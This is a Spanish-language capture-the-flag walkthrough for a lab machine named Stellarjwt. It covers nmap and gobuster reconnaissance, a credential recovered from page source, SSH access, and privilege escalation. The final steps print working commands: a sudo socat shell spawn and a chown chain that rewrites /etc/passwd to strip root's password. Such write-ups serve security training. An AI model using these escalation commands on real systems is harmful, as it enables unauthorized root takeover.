Stellarjwt

✍️ Autor: Alv-fh🔍 Dificultad: Fácil 📅 Fecha de creación: 25/10/2024

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 172.17.0.2

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH y el puerto 80 perteneciente al servicio HTTP están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80 -v 172.17.0.2

para obtener más información sobre esos puertos específicamente.

Seguimos indagando más sobre los puertos y ahora indagamos sobre el servicio HTTP. Se ingresó la dirección IP en el navegador lo que llevó a que la página web sea algo de la NASA.

Ahora buscaremos directorios y archivos con la herramienta Gobuster a través de:

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.

Encontramos un directorio /universe que entramos en él.

🚀 EXPLOTACIÓN

Revisando el código fuente encontramos un fragmento interesante.

Decodificamos esa cadena con esta página.

Nos logueamos con ese usuario y con la contraseña Gottfried.

ssh neptuno@172.17.0.2

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar. No tenemos permisos SUDO.

Listando los directorios tenemos un archivo oculto.

Vemos que tenemos 3 usuarios y uno de ellos es la nasa asi que nos logueamos ya que la contraseña es Eisenhower.

Nos llama la atención socat por lo que buscamos en esta página cómo explotarlo.

sudo -u elite /usr/bin/socat stdin exec:/bin/sh

Nos llama la atención chown por lo que buscamos en esta página cómo explotarlo.

sudo chown elite:elite /etc/ && sudo chown elite:elite /etc/passwd && echo "$(cat /etc/passwd | sed 's/root:x:/root::/g')" > /etc/passwd && su